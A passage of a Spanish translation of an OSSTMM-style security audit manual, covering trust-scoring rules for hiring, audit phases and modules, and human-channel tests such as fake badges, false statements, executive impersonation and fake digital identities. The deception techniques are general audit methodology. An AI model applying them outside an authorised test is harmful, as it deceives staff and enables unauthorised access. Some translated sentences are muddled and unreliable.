es que las incógnitas se vuelven obvias porque cuanto menos se sabe, menor será el porcentaje. Esto significa que las incógnitas estarán en o muy cerca de 0%. Sin embargo, la métrica final es la media de todos los porcentajes. Esto proporciona una gran comprensión de imagen que podría racionalmente tener de la meta de la confianza. Esto es especialmente útil cuando es difícil tomar una decisión de confianza debido a prejuicios personales. El uso de reglas de confianza en el análisis de seguridad formal, así como la toma de decisiones regulares, pueden reducir en gran medida el sesgo y los errores. Por lo tanto, el analista debe practicar esta habilidad para ser capaz de aplicarla rápidamente para que pueda ser utilizado incluso en situaciones bajo presión o emergencia, donde una decisión rápida es necesaria y una decisión equivocada es una tragedia. Ejemplo de reglas de confianza. Esta es una muestra de las reglas genéricas de confianza que cualquier empleado puede tomar mejores decisiones de contratación más allá de la cualificación técnica del solicitante. Sigue las 10 propiedades de confianza. El objetivo es hacer preguntas cuantificables que pueden ser respondidas para cada una de las propiedades y aplicadas por cualquier persona y en cualquier posible nueva contratación. Las reglas sólidas de la confianza permiten obtener la consistencia en calidad más bien que confiar en el "instinto del instinto" de los encargados de la entrada que necesitan tomar las decisiones de la confianza.

Página 319 de 430

Manual de Auditoria para no Auditores 1. Tamaño: 1.1. Calcular el solicitante dividido por el grupo total de solicitantes. 1.2. Calcular el número de personas que el solicitante parece saber en el grupo dividido por el total de solicitantes del grupo total. 1.3. Calcule el número de empleados actuales que el solicitante conoce y son "amigos" en esta posición y divídelo por el número total de empleados en esta ubicación. 1.4. Registre el promedio de estos resultados. 2. Simetría: 2.1. El número de personas que el solicitante debe confiar para hacer su trabajo en esta posición (incluido el solicitante) dividido por el número de profesionales que deben confiar en el solicitante en este puesto. 3. Visibilidad: 3.1. El número de horas por día el solicitante trabajará solo, sin asistencia, sin supervisión dividido por el número de horas de trabajo. 4. Subyugación: 4.1. El número de decisiones que el empleado hará diariamente, independientemente, sin aportaciones, dividido por el número total de decisiones que la posición normalmente requiere en un día. 4.2. El solicitante dividido por el número de miembros del equipo que el solicitante trabajará diariamente. 4.3. Registre el promedio de estos resultados. 5. Consistencia: 5.1. El número total de meses que el solicitante no ha sido empleado dividido por el total Número de meses en que el solicitante ha estado en el mercado laboral y es elegible para el empleo. 5.2. El número total de delitos conocidos divididos por la edad actual menos de dieciocho años (o La edad legal de un adulto en su región) del solicitante. 5.3. El número de referencias neutrales o negativas de empleadores anteriores dividido por el total número de empleadores anteriores. 5.4. Registre el promedio de estos resultados. 6. Integridad: 6.1. El número de entregas que el solicitante debe producir o mostrar semanalmente dividido por la semana de trabajo. 7. Compensaciones: 7.1. Cantidad de activos por valor que el solicitante tendrá acceso dividido por un coste estandarizado de procesamiento y costo de recuperación. 8. Valor: 8.1. El ingreso mensual creado o guardado por el solicitante en la posición dividido por el Coste del solicitante. (No medimos la cantidad pagada por la posición en comparación con la nacional porque no existe una clara correlación entre el grado de pago y la satisfacción en el trabajo evitando que un empleado salga, robe o sabotee el lugar de trabajo.) 9. Componentes: 9.1. El número de procesos que requieren que el solicitante se divida por el número total de procesos para la posición.

Página 320 de 430

Manual de Auditoria para no Auditores 9.2. El número de recursos que el empleado usará mensualmente dividido por el número total de Recursos disponibles para todos los empleados en esa posición. 9.3. Registre el promedio de estos resultados. 10. Porosidad: 10.1. La cantidad de tiempo semanal que el solicitante pasaría interactuando directamente con los competidores, Socios o clientes divididos por el número total de horas semanales de trabajo. 10.2. El número de empleados que viven en la misma comunidad que el solicitante dividido por el total número de personas en la comunidad. 10.3. Registre el promedio de estos resultados. Cada ejemplo de un cálculo es hacer un porcentaje que será promediado con los otros porcentajes de todas las propiedades de confianza para crear un valor de confianza final. El valor final le dirá cuánto debe confiar al nuevo empleado. Las reevaluaciones se pueden hacer regularmente para ver cuánto ha cambiado y si esto debe influir en los permisos proporcionados al empleado, la tasa de pago u otros bonos. Aplicación de las reglas de confianza a las pruebas de seguridad Las pruebas de seguridad verificarán qué fideicomisos operativos existen, sin embargo, se requiere el uso de reglas de confianza para saber si Deberían existir. Esto se determina con el uso de las reglas de confianza durante las pruebas de seguridad. La gestión de la seguridad y la creación de políticas se basa generalmente en el riesgo que interacciones dentro y en toda una organización. Este método define esencialmente reglas para usuarios y configuraciones para sistemas que proporcionarán el nivel de protección requerido cuando se siga. La política también puede dictar cómo manejar los problemas que pueden ocurrir si las reglas o configuraciones son insuficientes o no se aplican debidamente. Por lo tanto, la política de seguridad esbozará lo que la organización determina como confiable o no y qué administradores operacionales estarán autorizados para operar bajo esta condición. Sin embargo, para la confianza establecida por la política de seguridad no es prueba de seguridad y no ayudará a una organización mejor determinar dónde está limitada su protección. Las pruebas de seguridad contra una política particular para asegurar que se sigan las reglas se denominan pruebas de cumplimiento. Y no es lo mismo que las pruebas de seguridad. El uso de la auditoría OSSTMM determinará los administradores operativos, independientemente de que se reconozcan o no en la política de seguridad. Estos hallazgos sujetos a un análisis de confianza donde las Reglas de Confianza han sido aplicadas a personas, sistemas y procesos.

Página 321 de 430

Manual de Auditoria para no Auditores Proporcionar una medición precisa de dónde deben estar los controles. esto puede compararse con la seguridad, para detectar las deficiencias que afectan las medidas de protección actuales, así como los planes de seguridad futuros. En última instancia, el analista utilizaría las métricas de confianza en lugar del análisis de riesgos, para obtener un medio más preciso de del grado de protección de un determinado ámbito. Flujo de trabajo El flujo OSSTMM comienza con una revisión de la postura del objetivo. La postura es la cultura, reglas, normas, contratos, legislación y políticas que definen el objetivo. Finaliza con comparaciones de resultados con cualquier alarma, alerta, informe o registro de acceso. Este es un concepto de círculo completo donde el primer paso es estar al tanto de los requisitos operativos para interactuar con el objetivo y el último paso es revisar los registros de la pista de auditoría. Para el Analista, esto es simplemente: usted sabe lo que necesita hacer, lo hace, y luego verifica lo que ha hecho. Esta metodología separa lo que hay que hacer en este formato jerárquico: 1 CANAL 2. MÓDULO 3. TAREA El trabajo se describe en la descripción del módulo para cada auditoría de canal en particular. Algunas auditorías se aplican a tecnologías que pueden cruzar la frontera entre dos o más canales. Por ejemplo, las LAN inalámbricas comúnmente encontradas deben ser probadas tanto en el canal de redes de datos como en el canal inalámbrico. Esta es la razón por la cual un plan de pruebas bien definido es tan importante. La hibridación de canales es una constante y no debe pasarse por alto. El OSSTMM es completamente capaz de realizar una revisión de seguridad de "Desde el exterior hacia el núcleo" y por lo tanto es completamente capaz de aplicar un análisis a un objetivo si sus canales son claramente distintos y están separados o están compuestos por múltiples canales. Por lo tanto, para todos los objetivos, el analista debe anticipar la necesidad de definir una auditoría para incluir múltiples canales. A veces sólo bajo investigación se hará evidente si el alcance contiene objetivos bajo un canal en particular o si el analista se perderá objetivos sólo disponibles bajo otros canales. Esta metodología se aplica a los cinco canales. Tiene 17 módulos y todas las mismas propiedades se aplican a los cinco canales. Aunque la metodología misma puede ser la misma, cada canal difiere en las tareas. Cada módulo tiene una entrada y una salida. La entrada es la información utilizada para realizar cada tarea. La salida es el resultado de tareas completadas. Esta salida puede o no ser inteligencia (datos analizados) para servir de entrada para otro módulo Página 322 de 430

Manual de Auditoria para no Auditores y esta salida puede servir además como entrada para más de un módulo o sección. Por lo tanto, el no completar ciertos módulos o tareas puede limitar la finalización exitosa de otros módulos o tareas. Esto limitaría la exhaustividad de la auditoría mucho más que una simple explicación de las tareas perdidas. Algunas tareas no producen salida, lo que significa que existirán módulos para los que no hay entrada. Módulos que no pueden ser ignorados durante la prueba, pero deben documentarse posteriormente con una explicación de no haber sido realizados. Además, las tareas sin salida no necesariamente indican una prueba inferior; Más bien, pueden indicar una seguridad superior. En detalle, las tareas que no tienen salida resultante pueden significar cualquiera de las cinco cosas siguientes: 1. El canal fue obstruido de alguna manera durante el desempeño de las tareas. 2. Las tareas no fueron realizadas correctamente. 3. Las tareas no eran aplicables. 4. Los datos del resultado de la tarea se han canalizado incorrectamente. 5. La tarea revela seguridad superior. Es importante que exista imparcialidad y apertura mental al realizar las tareas de cada módulo. El principio básico para los estados de auditoría, en relación con un sesgo conformacional: "Cuando uno busca algo, uno espera encontrarlo, lo que puede conducir a encontrar sólo lo que está buscando." En el OSSTMM, cada módulo comienza como una entrada y termina como una salida exactamente por la razón de mantener el sesgo mínimo. Por lo tanto, cada tarea da una dirección de lo que debe ser revelado para pasar a otro punto dentro de la metodología. Se puede incorporar un análisis de confianza anterior para determinar el alcance de acuerdo con el vector y el canal. El análisis de confianza también puede usarse para predeterminar qué módulos necesitan ser ejecutados como independientes pruebas. Sin embargo, recuerde que los módulos son parte de una prueba completa y la suposición de que cualquier Módulo se puede omitir es falso y conducirá a una prueba inadecuada. Si no hay entrada para un módulo sin embargo, se puede omitir sin degradar la calidad de la prueba. La diferencia es que, en el en primer caso, el módulo o la tarea se ignora sobre la base de una decisión de confianza, mientras que en el segundo la prueba en sí dicta que el módulo o la tarea no se puede realizar. Con la provisión de pruebas como un servicio, es importante comunicar al dueño de la meta exactamente qué del alcance no ha sido o no será probado. Esto maneja expectativas y riesgos potencialmente inapropiados garantías en la seguridad de un sistema.

Página 323 de 430

Manual de Auditoria para no Auditores El tiempo de prueba con los módulos es relativo al plan. Por ejemplo, si el analista prueba la seguridad física de una puerta, entonces la prueba tendría al menos dos vectores: la seguridad funcional de la puerta desde el exterior de la habitación al interior, y luego desde el interior de la habitación hacia el exterior. Determinación del alcance adecuado Basado en el vector es importante porque todavía puede haber objetivos fuera del vector y todavía dentro el alcance que no constituirá el ámbito de prueba actual, en general, los ámbitos más grandes con múltiples canales Y los vectores múltiples requieren más tiempo pasado en cada módulo y sus tareas. La cantidad de tiempo permitido antes de volver con datos de salida no está determinada por esta metodología y depende del analista, el objetivo, el entorno de prueba y el plan de prueba. Metodología de Flujo El OSSTMM no permite una separación entre lo que se considera la recolección activa de datos y Verificación por agitación; porque, en ambos casos, se requiere interacción. Tampoco diferencia. Entre pruebas activas y pasivas donde la prueba activa es la agitación para crear una interacción con el objetivo y la prueba pasiva es la grabación, agregación y análisis de las emanaciones de la meta. Esta la metodología requiere pruebas tanto activas como pasivas. Además, el analista puede no ser capaz de diferenciar entre los datos recopilados pasivamente de las emanaciones de las operaciones y lo que es respuesta retrasada o mal dirigida a la agitación. La introducción de cualquier evento externo, incluyendo el evento pasivo tiene el potencial de cambiar la naturaleza de las operaciones del objetivo y disminuir la calidad de una prueba no influenciada por la seguridad operativa. Sin embargo, esto no representa un fracaso del analista o del proceso de auditoría, sino simplemente un mal inevitable de probar un sistema en un entorno estocástico periodo de tiempo. En pocas palabras, el analista a menudo no puede "recuperar" la agitación una vez que se ha puesto en movimiento y cualquier corrección causará resultados adicionales y variados que no coincidan con el objetivo de la tarea original. Esto es importante porque dificultará la comparación posterior de los resultados. También significará que las pruebas influyen en las pruebas posteriores debido a la "memoria" del impacto de la prueba. Esto es muy notable en las pruebas sobre:

Página 324 de 430

Manual de Auditoria para no Auditores Capítulo 6 - El canal PHYSSEC. Es importante señalar que al armonizar el OSSTMM con otros estándares de prueba, es importante no para restringir el flujo de este Metodología mediante la introducción de normas tan formales e implacables que calidad de la prueba sufre.

Memoria de las operaciones Este es un ejemplo de cómo las pruebas operativas PHYSSEC en un entorno estocástico sobre un marco de tiempo lineal se ven afectados por su propia memoria. Escenario 1 El analista prueba la entrada en un área segura con autenticación falsa. El guardia examina la insignia brevemente y permite que el Analista entre. El Analista realiza la auditoría hasta el punto en que se identifica al Analista y se revela la naturaleza de la auditoría, si es que la identifica. Escenario 2 El analista prueba la entrada en un área segura con autenticación falsa. El guardia examina la Insignia brevemente y dudando de su autenticidad, no permite al Analista entrar. El analista intenta tácticas adicionales hasta que se gana la entrada. El Analista realiza la auditoría hasta el punto en que el analista se identifica y la naturaleza de la auditoría se revela, si es que se da. En ambos escenarios 1 y 2, puede haber o no un registro del intento de entrada. Si hay un Registro, ese registro puede ser reutilizado por el analista la próxima vez si la insignia es denegada como prueba de su autenticidad o por el guardia que puede estar dudando de su autenticidad y quiere ver lo que otros guardias han hecho. Para la siguiente auditoría, el analista puede probar la misma insignia de nuevo, intentar otros medios para ganar entrada a través de técnicas de ingeniería social, o trate de usar una insignia diferente. Ese guardia, otros guardias con los que el guardia pudo haber hablado, y cualquier registro de registro de un intento fallido son todos los recuerdos del Analista, la técnica, y si el guardia sabe de la auditoría, la auditoría misma. Sin embargo, si se produce el escenario 2, es posible que las interacciones técnicas adicionales utilizadas por el analista significan que el escenario 2 es una prueba más pruebas se realizan dentro de la misma interacción. También significa que la auditoría y el analista será más probable que sea recordado por el guardia. Si el analista no obtiene entrada en absoluto, entonces la completitud de la prueba está limitada en cuanto a cuándo el analista se quedó sin técnicas, con cada técnica fallida haciendo la entrada que mucho más difícil. Si el analista pasa Página 325 de 430

Manual de Auditoria para no Auditores por todas las técnicas descritas por tareas en la metodología, entonces las pruebas se han completado. Si no es así, entonces las pruebas aún no realizadas deben ser guardia diferente con diferentes resultados como diferentes personas se comportan de manera diferente. Si bien esto puede parecer un problema humano, no lo es. Una puerta o una ventana se abren con demasiada frecuencia permanecerá dañado hasta que sea reemplazado. El uso físico siempre da como resultado un deterioro físico. Incluso en las comunicaciones por cable, el acto de fisgonear el tráfico causará retrasos (a veces perceptible) o cambiar el consumo de energía, ya sea directa o indirecta ya menudo variada resultados. Módulos de Prueba Para elegir el tipo de prueba adecuado, es mejor entender primero cómo se diseñan los módulos para trabajar. Dependiendo de la minuciosidad, los negocios, la asignación de tiempo y los requisitos de la auditoría, el Analista puede desea programar los detalles de la auditoría por fases:

Hay cuatro fases en la ejecución de esta metodología: A. Fase de inducción. B. Fase de Interacción. C. Fase de la investigación. D. Fase de intervención. Cada fase presta una profundidad diferente a la auditoría, pero ninguna fase es menos importante que otra en términos de Seguridad Actual. A. Fase de inducción. Cada viaje comienza con una dirección. En la fase de inducción, el Analista comienza la auditoría con un entendimiento de los requisitos de auditoría, el alcance y las restricciones a la auditoría de este ámbito. A menudo, el tipo de prueba se determina mejor después de esta fase. Modulo Revisión

Logística

Detección Activa

Descripción Revisar Políticas, Cultura que están vigente sobre el objetivo La medición de las restricciones de interacción tales como distancia, velocidad, y la falibilidad para determinar los márgenes de precisión dentro de los resultados. La verificación de la práctica y amplitud de la detección de la interacción, la respuesta y la predictibilidad de la respuesta.

Explicación Conozca el alcance y las pruebas que deben realizarse. Requerido si la Fase C debe ser conducida apropiadamente.

Conocer las limitaciones de la propia auditoría. Esto minimizará el error y mejorará eficiencia.

Conozca las restricciones impuestas en las pruebas interactivas. Esto es necesario para llevar a cabo correctamente las fases B y D.

Página 326 de 430

Manual de Auditoria para no Auditores B. Fase de Interacción El núcleo de la prueba de seguridad básica requiere conocer el alcance en relación con las interacciones con las metas transmitidas a las interacciones con los activos. Esta fase definirá el alcance. Modulo

Descripción

Visibilidad

La determinación de los objetivos a ensayar dentro del ámbito de aplicación. La visibilidad se considera como "presencia" y no se limita a la vista humana.

Verificación de Acceso

La medición de la amplitud y profundidad de los puntos de acceso interactivos dentro de la autenticación

Verificación Prueba

La determinación de las relaciones de confianza entre los objetivos y entre ellos. Existe una relación de confianza donde el objetivo acepta la interacción entre objetivos en el ámbito.

Verificación del Control

La medición del uso y la efectividad de los controles de pérdida basados en procesos (Clase B): no repudio, confidencialidad, privacidad e integridad. El control de alarma se verifica al final de la metodología.

Explicación Saber qué objetivos existen y cómo interactúan con el alcance, si es que lo hacen. El blanco muerto o desaparecido es también un objetivo que no responde. Sin embargo, un blanco que no responde no es necesariamente un objetivo que falta. El punto de acceso es el punto principal de cualquier interacción de activos. La verificación de un punto de acceso es una parte de determinar su propósito. La verificación completa requiere saber todo lo que hay que saber sobre el punto de acceso. Los administradores para nuevos procesos suelen ser muy limitados cuando hay relaciones complejas entre los objetivos El conocimiento de las relaciones de confianza entre los objetivos mostrará la edad o el valor de la interacción. La mayoría de los procesos se definen en respuesta a una interacción necesaria y algunos permanecen mucho tiempo después de que la interacción se detiene o ha cambiado. Saber qué controles de procesos están en su lugar es un tipo de arqueología de seguridad.

Página 327 de 430

Manual de Auditoria para no Auditores C. Fase de la investigación Gran parte de la auditoría de seguridad es sobre la información que el analista descubre. En esta fase, se ponen de manifiesto los diversos tipos de valor o el detrimento de la información errónea y mal gestionada como un activo. Modulo

Descripción

Explicación Conozca los controladores y sus rutinas. La mayoría de los procesos tienen un conjunto definido de reglas, sin embargo, las operaciones reales reflejan cualquier eficiencia, pereza o paranoia que puede redefinir las reglas. Es importante no sólo conocer que el proceso está ahí sino también cómo funciona. Este módulo explora el valor predeterminado condiciones en las que los objetivos. Operar regularmente para comprender intención, justificación del negocio y Razonamiento de los objetivos. Muchos reglamentos requieren información sobre cómo se planea algo al trabajar esto no siempre es evidente En la ejecución de esa obra.

Proceso de Verificación

La determinación de la existencia y efectividad del registro y mantenimiento de los niveles reales de seguridad existentes o diligencia definida por los controles de revisión de postura e indemnización.

Verificación de la Configuración y entrenamiento

La investigación del estado estacionario (Funcionamiento normal) de los objetivos como han sido diseñados para operar. En condiciones normales para determinar problemas subyacentes fuera de la aplicación de pruebas de tensión de seguridad.

Validación propiedades

La medición de la amplitud y uso indebido de sustancias ilegales o no caso particular Farmacia Y Sanidad aplicaciones y uso contemplados por ley. Propiedad intelectual o aplicaciones dentro del objetivo.

Conocimiento de la propiedad intelectual, patentes, marcas, y otros modos de uso contemplado o estipulados por ley o contratos.

Una determinación de los niveles de información de identificación personal.

Conocer los derechos de privacidad que se aplican y en qué medida a la Información personal identificable puede clasificarse en base a requisitos. REGPD

Revisión Segregación

Verificación Exposición

Exploración Inteligente

Búsqueda de información libremente disponible que define la visibilidad de los objetivos o activos dentro del canal elegido del alcance. La búsqueda de información libremente disponible, directa o indirectamente, que podrían perjudicar o afectar adversamente al dueño del objetivo a través de medios externos o competidores directos.

Descubrir valor de los objetivos incluyendo el uso de fuentes o datos públicos. Puede haber más valor en las medidas que se utilizan para proteger ciertos activos, que el valor del activo en si mismo. Podría utilizarse como señuelo para desviar la atención de atacantes.

Página 328 de 430

Manual de Auditoria para no Auditores D. Fase de intervención Estas pruebas se centran en los recursos que los objetivos requieren. Esos recursos pueden cambiarse, combinarse sobrecargarse o morirse de hambre para causar penetración o interrupción. Esta es a menudo la fase final de una prueba de seguridad para asegurar que las interrupciones no afectan a las respuestas de las pruebas menos invasivas y porque la información para realizar estas pruebas puede no ser conocida hasta que se hayan realizado otras fases. El final Módulo, D.17, de Alerta y Revisión de Logs, es necesario para verificar las pruebas previas que no proporcionaron ninguna interactividad al analista. La mayoría de las pruebas de seguridad que no incluyen esta fase todavía pueden necesitar una revisión final desde la perspectiva de los objetivos y activos para aclarar cualquier anomalía. Modulo

Descripción

Cuarentena de Verificación

La determinación y medición del uso efectivo de la cuarentena para todo acceso y dentro del objetivo.

Auditoria de Privilegios

El mapeo y la medición del impacto del uso indebido de controles de subyugación, credenciales y privilegios o la escalada no autorizada de privilegios.

Continuidad del Servicio

La determinación y medición de la resiliencia del objetivo a cambios excesivos o adversos en los que se verían afectados los controles de continuidad y resiliencia.

Alerta y Supervisión de Logs

Una revisión de las actividades de auditoría realizadas con la verdadera profundidad de esas actividades según lo registrado por el objetivo o de un tercero como en el control de alarma.

Explicación Determine la eficacia de los controles de autenticación y subyugación en términos de cuarentenas de listas en blanco y negro. Determinar la efectividad de la autorización en los controles de autenticación, indemnización y subyugación en términos de profundidad y roles. Determinar la efectividad de los controles de continuidad y resiliencia a través de la verificación de denegación de servicio y negación de interactividad. Sepa qué partes de la auditoría dejaron un rastro utilizable y confiable.

Página 329 de 430

Manual de Auditoria para no Auditores Una Metodología Poner todos los módulos juntos proporciona una metodología para conocer y trabajar. Esta es una metodología que es aplicable a todos y cada uno de los tipos de pruebas de seguridad. Ya sea que el objetivo sea un sistema particular, una ubicación, una persona, un proceso o miles de ellos, esta metodología asegurará la prueba más completa y eficiente posible.

Página 330 de 430

Manual de Auditoria para no Auditores Capítulo 7 - Recursos Humanos. La prueba de este canal requiere la interacción con las personas en las posiciones propietarios, custodios o usuarios de los activos. Este canal cubre la participación de las personas, principalmente el personal operativo dentro del alcance objetivo. Si bien algunos servicios consideran esto simplemente como "ingeniería social", el verdadero cumplimiento del objetivo de las pruebas es el validar la seguridad y verificar que tan eficaces son las pruebas de sensibilización del personal de seguridad y la medición de la brecha de seguridad en caso de que esta ocurra.

El estándar de seguridad requerido y descrito en la política de la compañía, regulaciones industriales o legislación regional, se requerirá que el Analista tenga múltiples herramientas y métodos para completar algunas tareas para asegurar sus sospechas que se plantea entre el personal y para que las pruebas no sean inválidas debido a un descubrimiento temprano o se considere que estamos ante una percepción tipo paranoia aumentada. También puede ser pertinente limitar los sujetos de prueba a uno por departamento u otro tipo de límite.

Página 331 de 430

Manual de Auditoria para no Auditores Los Analistas Competentes requerirán habilidades de personas diligentes y habilidades de pensamiento crítico, para asegurar los datos actuales cuyo fin es crear colecciones de datos que permitan definir relaciones de correlación y análisis. Consideraciones: Tenga en cuenta las siguientes consideraciones para asegurar una prueba fiable: a. Personal: Las restricciones de alcance se dirigen a aquellos trabajadores, que están bajo contrato, el responsable del área de aplicación tiene la responsabilidad legal, derivada de su relación contractual. b. Negligencia plausible: No se llevarán a cabo pruebas directas de seguridad para el personal que no hayan sido entrenados, informados, o se puede decir que ya poseían experiencia y sensibilización relativa a seguridad, debido a los requisitos de responsabilidad laboral. c. Derechos: El personal seleccionado para la prueba serán elegidos al azar, se dice que tienen responsabilidades relacionadas directamente con la custodia, de activos, el analista se abstendrá de identificarlo informando únicamente sobre una base estadística. d. En régimen de incomunicación: El personal sometido a prueba no podrá comentar, con los no participantes de su área ninguna información relativa a lo que ocurra, mientras se desarrollan las mismas. 7.1 Revisión de Postura Los estudios iniciales de la postura incluyen las leyes, la ética, las políticas, las regulaciones de la industria y la cultura política que influyen en los requisitos de seguridad y privacidad. Esta revisión forma una matriz a la cual las pruebas deben ser mapeadas. 7.1.1 Política Revisar y documentar la política organizacional apropiada en cuanto a seguridad, integridad y privacidad. .Responsabilidades del personal en el ámbito de aplicación. 7.1.2 Legislación y reglamentos Revisar y documentar la legislación regional y nacional apropiada y las regulaciones de la industria.

Página 332 de 430

Manual de Auditoria para no Auditores Requisitos de seguridad y privacidad de la organización en el ámbito de aplicación, así como que si se incluyen a los clientes apropiados, socios, sucursales de la organización, o revendedores fuera del alcance. 7.1.3 Cultura Revisar y documentar la cultura organizacional apropiada en el ámbito de la seguridad y la sensibilización, sobre la privacidad, capacitación del personal requerido y disponible, jerarquía organizacional y reconocimiento de la interacción de confianza, entre los empleados. 7.1.4 Relaciones Revisar y documentar las relaciones de influencia apropiadas, entre el personal de la jerarquía organizacional, dentro del ámbito de aplicación. 7.1.5 Cultura regional Revisar y documentar la influencia apropiada de las culturas regionales y extranjeras, en la jerarquía en el entorno en el que reside el ámbito. 7.1.6 Economía Revisar y documentar la influencia apropiada de la economía y la escala salarial sobre el estatus. Personal tanto del vector de personal, dentro del alcance, como de la comunidad externa que reside el ámbito. 7.2 Logística Preparación del entorno de prueba, de los canales necesarios para prevenir falsos positivos y falsos negativos, que puedan conducir a resultados de prueba inexactos. 7.2.1 Equipo de comunicaciones Compruebe que las comunicaciones que proporcionan identificación al receptor, como identificador de llamadas, FAX, IP, etc. El registro de direcciones, los distintivos de localización y los encabezados de correo electrónico. Compruebe si la identificación fue bloqueada, removida u transfigurada y hasta qué grado se preserva el anonimato.

7.2.2 Comunicaciones Comprobar qué idiomas, se utilizan dentro del ámbito de aplicación, entre el ámbito de aplicación y los clientes, socios y revendedores fuera del ámbito. Página 333 de 430

Manual de Auditoria para no Auditores

7.2.3 Tiempo Prueba para el huso horario, las vacaciones y los horarios de trabajo para varios roles y trabajos. 7.3 Verificación de detección. La determinación de los controles activos y pasivos para detectar la intrusión en el filtro o negar los intentos de realizados antes de la prueba, para mitigar el riesgo de crear falsos positivos y negativos, en los datos del resultado de la prueba. Así como el cambio del estado de alarma del personal de vigilancia o agentes. 7.3.1 Supervisión del canal Compruebe si el servicio de asistencia o los canales de soporte son el teléfono, la mensajería instantánea, el chat, la web, los foros o el correo electrónico, son supervisados por un tercero para el control de calidad.

7.3.2 Moderación del canal Compruebe si el servicio de asistencia o los canales de soporte son el teléfono, la mensajería instantánea, el chat, la web los foros o el correo electrónico, son filtrados o puestos en cuarentena por personal o sistema automatizado para verificar para verificar la autenticidad, extraer datos extraños, ignorar solicitudes repetidas o interacciones moderadas.

7.3.3 Supervisión Comprobar si el personal de soporte puede responder a las solicitudes sin la confirmación de un supervisor o personal similar.

7.3.4 Asistencia al operador Probar qué acceso a qué personal a través del canal de telecomunicaciones debe hacerse a través de un operador, ya sea este vía personal o automatizado.

Página 334 de 430

Manual de Auditoria para no Auditores

7.4 Auditoría de Visibilidad Ensayos de enumeración y verificación para la visibilidad del personal, con los que es posible la interacción vía canales. 7.4.1 Identificación de acceso Prueba de canales que proporcionan interacciones con personal fuera del alcance y documento. Todos los métodos utilizados y los resultados de dichos métodos.

7.4.2 Enumeración de personal Enumere el número de personal dentro del ámbito de aplicación, tanto con personal autorizado como no autorizado. Acceso a los procesos. 7.5 Verificación de acceso Pruebas para la enumeración de puntos de acceso, al personal dentro del alcance. Y también fuera del alcance, se trata de un escenario real utilizado, para verificar el robo de propiedad de información, esto puede ser se limitado para limitar el alcance con el fin de proteger los derechos de privacidad independientes del personal en su vida. 7.5.1 Proceso de Acceso Mapa para explorar el uso de los canales en el alcance para llegar a los activos. Documentar todos los métodos utilizados Y los resultados de esos métodos. 7.5.2 Autoridad Usar personal en posiciones de autoridad, vinculados con el control de acceso o que mantengan posiciones de guardián en los activos dentro del alcance. Documentar los métodos utilizados en el descubrimiento del personal clave. 7.5.3 Autenticación Enumerar y probar las insuficiencias del personal y qué privilegios se requieren para poder: acceder una vez identificados y acreditados los sujetos, que verificaran el control de accesos. Verificar la existencia y aplicación del procedimiento de emergencia para este tipo de situaciones.

Página 335 de 430

Manual de Auditoria para no Auditores

7.6 Pruebas de Verificación. Pruebas para verificar que sólo las personas autorizadas dentro de su área tienen acceso a los recursos físicos y lógicos que están definidos por las normas de seguridad. 7.6.1 Declaración Falsa. Emitir una declaración falsa y comprobar que personal accede y que información se le facilita utilizando dicha declaración falsa. Documentar los hechos ocurridos y sobre todo verificar el uso de procedimientos, para descubrir falsa identidades, antes de facilitar ninguna clase de información relevante.

7.6.2 Fraude. Acceder a la instalación mediante la falsificación o duplicidad de identidad de algún miembro importante y relevante de cúpula de la organización. Documentar los hechos y verificar el uso para descubrir identidad falsas o duplicadas ante de que acceda a activos físicos o lógicos relevantes para la organización.

7.6.3 Falsificación Digital de Identidad. Utilizando una identidad digital falsa, comprobar hasta qué punto el atacante accede a recursos fiscos o lógicos, antes de que su identidad sea detectada como falsa y en consecuencia bloqueado el acceso a todo tipo de recursos. Documentar en profundidad incluyendo todos los procesos de trazabilidad inversa para obtener el origen del acceso e identidad sustraída y duplicada.

7.6.4 Abuso de recursos. Ver como un atacante escala privilegios accediendo a diversos tipos de recursos físicos y lógicos eludiendo los mecanismos del SO. De Red y de los Sistemas Operativos Locales.

7.6.5 Terrorismo psicológico y otras formas de incitación al caos. Documentar como se ha de actuar, ante personas y organizaciones que incitan al vandalismo y todas sus manifestaciones derivadas y como se informará a las autoridades en demanda de auxilio.

Página 336 de 430

Manual de Auditoria para no Auditores 7.7 Controles y Verificación sobre valores de los activos. Pruebas para enumerar los tipos de controles utilizados para proteger el valor de los activos de posibles pérdidas (depreciaciones). 7.7.1 No repudio. Enumerar y probar las insuficiencias del personal para registrar adecuadamente el uso inadecuado de los recursos de cualquier clase o tipo. Activos específicos para lograr evidencia específica mediante desafío al repudio. Documente en profundidad de la interacción que se registra.

7.7.2 Confidencialidad. Enumerar y probar el uso o las deficiencias de todos los segmentos de comunicación con el personal dentro del alcance o sobre un canal o propiedades transportadas sobre un canal, usando líneas seguras, incluyendo cifrado para evitar interacciones personales y proteger la confidencialidad de los Activos o de la Información que debe ser solo accesible por el personal autorizado y acreditado a tal fin o propósito. Documente en profundidad de la interacción que se registra.

7.7.3 Privacidad. Enumerar y probar el uso la inadecuación de todos los segmentos de comunicación con el personal dentro del alcance específico sobre un canal de comunicaciones o propiedades transportadas usando firmas individuales específicas, identificación personal, silenciosa para proteger la privacidad de la interacción y del proceso de proporcionar activos, sólo a aquellos dentro de la seguridad autorizada para este proceso de información o sobre activos físicos. Documente en profundidad de la interacción que se registra.

7.7.4 Integridad. Enumerar y probar las insuficiencias en todos los segmentos de la comunicación con el personal dentro del alcance especifico donde los activos se transportan a través de un canal de comunicaciones utilizando un proceso documentado, firmas, encriptación, Hashes o marcas para

Página 337 de 430

Manual de Auditoria para no Auditores proteger y asegurar que la información o los activos físicos. Eso incluye los cambios de sentido de las comunicaciones, las redirecciones, sin conocimientos de las partes involucradas en las comunicaciones. Documente en profundidad de la interacción que se registra. 7.8 Verificación del proceso. Pruebas para examinar el mantenimiento de la conciencia de seguridad funcional del personal en procesos establecidos y con el tiempo de respuesta esperado como se define en revisión de la postura. 7.8.1 Mantenimiento. Examinar y documentar la oportunidad, la idoneidad, el acceso y el alcance de los procesos para la notificación y seguridad de todo el personal con respecto a la seguridad operativa, la Seguridad en general y control de pérdidas.

7.8.2 Desinformación. Determinar hasta qué punto las notificaciones de seguridad del personal y las noticias de seguridad, pueden ser alteradas con desinformación.

7.8.3 Auditoria Previa. Verificar cualquier laguna entre la práctica y los requisitos como se determina en la posición de partida. Revise todos los canales.

7.8.4 Indemnización. Documentar y enumerar el abuso o la existencia de una política evasiva de los empleados, respecto a la responsabilidad frente a seguros, no divulgación, no competencia, etc.

Página 338 de 430

Manual de Auditoria para no Auditores

